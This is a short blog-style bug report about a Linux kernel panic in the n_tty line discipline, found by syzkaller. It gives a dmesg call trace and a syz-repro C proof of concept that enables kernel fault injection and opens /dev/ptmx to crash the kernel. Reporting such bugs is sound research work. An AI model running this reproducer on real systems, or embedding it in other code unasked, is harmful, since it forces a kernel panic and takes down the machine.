init_tty - kernel panic

posted & found by zer0day

tl;dr

Got from syzkaller & Found in LK v4.16.0-rc5 with enabling CONFIG_FAULT_INJECTION.

Just anther maybe meaningless posting :)

Call Trace (Dump)

Here’s a dmesg.

[ 2785.690162] Kernel panic - not syncing: n_tty: init_tty
[ 2785.690762] CPU: 0 PID: 29293 Comm: syz-executor4 Not tainted 4.16.0-rc5+ #12
[ 2785.691616] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 2785.692623] Call Trace:
[ 2785.692919]  dump_stack+0xb9/0x11b
[ 2785.693317]  panic+0x10a/0x2d6
[ 2785.693684]  tty_ldisc_init.cold.6+0x11/0x1a
[ 2785.694182]  ? alloc_tty_struct+0x61/0x2c0
[ 2785.694702]  ? tty_init_dev+0x4c/0x210
[ 2785.695153]  ? ptmx_open+0xd2/0x1c0
[ 2785.695566]  ? pty_resize+0xf0/0xf0
[ 2785.695981]  ? chrdev_open+0xe2/0x270
[ 2785.696414]  ? cdev_put.part.0+0x20/0x20
[ 2785.696870]  ? do_dentry_open+0x27a/0x420
[ 2785.697357]  ? vfs_open+0x70/0xb0
[ 2785.697747]  ? path_openat+0x2a0/0x1060
[ 2785.698198]  ? do_filp_open+0xac/0x130
[ 2785.698659]  ? __alloc_fd+0x200/0x230
[ 2785.699089]  ? _raw_spin_unlock+0x1f/0x30
[ 2785.699562]  ? do_sys_open+0x2b1/0x350
[ 2785.700002]  ? do_syscall_64+0x73/0x1f0
[ 2785.700451]  ? entry_SYSCALL_64_after_hwframe+0x42/0xb7
[ 2785.701306] Dumping ftrace buffer:
[ 2785.701807]    (ftrace buffer empty)
[ 2785.702234] Kernel Offset: 0x30e00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[ 2785.703442] Rebooting in 86400 seconds..

PoC

Reproducible code generated by syz-repro.

#define _GNU_SOURCE 
#include <endian.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <sys/stat.h>

__attribute__((noreturn)) static void doexit(int status)
{
	volatile unsigned i;
	syscall(__NR_exit_group, status);
	for (i = 0;; i++) {
	}
}
#include <stdint.h>
#include <string.h>

const int kFailStatus = 67;
const int kRetryStatus = 69;

static void exitf(const char* msg, ...)
{
	int e = errno;
	va_list args;
	va_start(args, msg);
	vfprintf(stderr, msg, args);
	va_end(args);
	fprintf(stderr, " (errno %d)\n", e);
	doexit(kRetryStatus);
}

static bool write_file(const char* file, const char* what, ...)
{
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}

static int inject_fault(int nth)
{
	int fd;
	char buf[16];

	fd = open("/proc/thread-self/fail-nth", O_RDWR);
	if (fd == -1)
		exitf("failed to open /proc/thread-self/fail-nth");
	sprintf(buf, "%d", nth + 1);
	if (write(fd, buf, strlen(buf)) != (ssize_t)strlen(buf))
		exitf("failed to write /proc/thread-self/fail-nth");
	return fd;
}

void loop()
{
    *(uint64_t*)0x20000200 = 0;
	syscall(__NR_set_mempolicy, 1, 0x20000200, 4);
    memcpy((void*)0x20000040, "/dev/ptmx", 10);
	write_file("/sys/kernel/debug/failslab/ignore-gfp-wait", "N");
	write_file("/sys/kernel/debug/fail_futex/ignore-private", "N");
	inject_fault(5);
	syscall(__NR_openat, 0xffffffffffffff9c, 0x20000040, 0, 0);
}

int main()
{
	syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
	loop();
	return 0;
}

End